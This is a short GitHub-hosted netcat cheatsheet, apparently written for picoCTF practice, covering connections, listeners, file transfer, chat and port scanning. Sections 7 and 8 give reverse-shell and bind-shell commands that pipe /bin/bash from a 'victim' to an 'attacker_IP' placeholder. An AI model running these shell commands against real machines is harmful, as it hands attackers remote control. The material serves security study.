Skip to content

Files

Latest commit

 

History

History
99 lines (89 loc) · 1.94 KB

netcat-cheatsheet.md

File metadata and controls

99 lines (89 loc) · 1.94 KB

Netcat (nc) Cheatsheet to help you with common use cases:

Netcat (nc) Cheatsheet

1. Basic Connection

nc <host> <port>
  • Example:
    nc jupiter.challenges.picoctf.org 64287
  • Connects to a remote server on the specified port.

2. Listen for Connections

nc -lvp <port>
  • Example:
    nc -lvp 4444
  • Listens on port 4444 for incoming connections.
    • -l → Listen mode
    • -v → Verbose (detailed output)
    • -p → Specify port

3. Send a File

nc <host> <port> < file.txt
  • Example:
    nc 192.168.1.10 4444 < secret.txt
  • Sends secret.txt to a remote machine listening on port 4444.

4. Receive a File

nc -lvp <port> > file.txt
  • Example:
    nc -lvp 4444 > received.txt
  • Receives a file and saves it as received.txt.

5. Create a Simple Chat

On Machine 1 (Listener)

nc -lvp 1234

On Machine 2 (Sender)

nc <Machine1_IP> 1234
  • Now, anything typed on either machine is sent to the other.

6. Scan for Open Ports

nc -zv <host> <port_range>
  • Example:
    nc -zv 192.168.1.1 1-1000
  • Checks which ports are open on the target.

7. Establish a Reverse Shell

On Attacker's Machine (Listener)

nc -lvp 4444

On Victim’s Machine (Sender)

nc <attacker_IP> 4444 -e /bin/bash
  • Grants shell access to the attacker.

8. Establish a Bind Shell

On Victim’s Machine (Listener)

nc -lvp 4444 -e /bin/bash

On Attacker’s Machine (Connect to Shell)

nc <victim_IP> 4444

9. Transfer Files Using Netcat & Tar

On Receiving Machine

nc -lvp 4444 | tar -xvf -

On Sending Machine

tar -cvf - /path/to/files | nc <receiver_IP> 4444
  • Sends and extracts files over Netcat.